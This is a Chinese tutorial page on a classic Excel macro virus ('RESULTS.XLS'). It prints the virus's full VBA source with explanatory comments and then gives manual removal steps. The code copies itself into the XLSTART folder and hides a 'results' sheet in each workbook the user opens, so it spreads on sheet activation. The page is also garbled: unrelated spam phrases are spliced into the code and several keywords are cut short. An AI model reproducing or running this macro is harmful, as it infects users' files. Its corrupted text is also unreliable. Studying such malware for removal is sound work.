RESULTS宏病毒学习与处理方法 盖章申请
Sub auto_open()
Application.OnSheetActivate = "ck_files" '这个auto_open，是文件打开自动执行。由于本文件是放在xlstart文件夹，任何excel文件启动，都会先打开这个文件。
End Sub
Sub ck_files()
c$ = Application.StartupPath '取得xlstart文件夹的路径
m$ = Dir(c$ & "\" & "RESULTS.XLS") '取得results.xls文件名
If m$ = "RESULTS.XLS" Then p = 1 El p = 0 '如果result文件不存在，m$是""
If ActiveWorkbook.Modules.Count > 0 Then w = 1 El w = 0 '判断活动工作簿的模块数量。这个活动工作簿，不是results.xls，是你正常打开的那个工作簿。
whichfile = p + w * 10 '这个whichfile变量，是10的话，就是当前活动工作簿有模块，而xlstart中没有resutlts.xls，是1的话，则相反。
Select Ca whichfile
Ca 10 '当前活动工作簿有模块，而xlstart中没有resutlts.xls执行以下代码
Application.ScreenUpdating = Fal
n4$ = ActiveWorkbook.Name
Sheets("results").Visible = True
Sheets("results").Select
Sheets("results").Copy '将results工作表 copy 出来，新建一个工作簿。这个工作簿就是下面的活动工作簿了。
With ActiveWorkbook牙套日记
.Title = "" '帮助中说这是保存为网页时，文档的名称，现在是空白的。
自觉吃药打一成语 .Subject = "" '帮助中说这是发邮件时，作为邮件主题
.Author = "" '文档作者
.Keywords = "" '关键词
.Comments = "" '注释
End With
newname$ = ActiveWorkbook.Name
c4$ = CurDir() '得到当前驱动器路径,比如C:\,E:\
ChDir Application.StartupPath '改变路径到xlstart
ActiveWindow.Visible = Fal
Workbooks(newname$).SaveAs Filename:=Application.StartupPath & "/" & "RESULTS.XLS", FileFormat:=xlNormal _泥鳅的做法
, Password:="", WriteResPassword:="", ReadOnlyRecommended:= _
Fal, CreateBackup:=Fal '关键的地方，由于新建工作簿包含results，而xlstart文件夹中没有，所以将新建工作簿以results.xls名保存在xlstart文件夹中。
ChDir c4$ '保存结束，重新转入到原来正常使用的工作簿的路径
Workbooks(n4$).Sheets("results").Visible = Fal '隐藏results工作表
Application.OnSheetActivate = "" '如果你原来就有onsheetactivate的变量，这儿被它改了。
欧阳修 Application.ScreenUpdating = True
Application.OnSheetActivate = "RESULTS.XLS!ck_files" '每次将工作表变动一下就会执行这个代码。如果你有好多工作簿，都操作一遍，那么全部染上它了。
Ca 1 '当前活动工作簿没有模块，而xlstart中有resutlts.xls
Application.ScreenUpdating = Fal
n4$ = ActiveWorkbook.Name
p4$ = ActiveWorkbook.Path
s$ = Workbooks(n4$).Sheets(1).Name
If s$ <> "results" Then '如果你使用的工作簿第一个工作表不是results，那么它就插入病毒文件了。
Workbooks("RESULTS.XLS").Sheets("results").Copy before:=Workbooks(n4$).Sheets(1)
Workbooks(n4$).Sheets("results").Visible = Fal
El
竹叶兰
End If
Application.OnSheetActivate = ""
dnf异界怎么去
Application.ScreenUpdating = True
Application.OnSheetActivate = "RESULTS.XLS!ck_files"
Ca El
End Select
End Sub
如果不慎运行了代码，可以这样处理：
1，在VBE里面，右键点击它的模块1，选择移除模块，不保存，退出Excel，对提示是否保存Results.xls，选择是。
2，C:\Documents and Settings\Administrator\Application Data\Microsoft\Excel\XLSTART里面删除Results.xls。普希金代表作
再打开Excel，检查VBE，已经没有这个宏了。
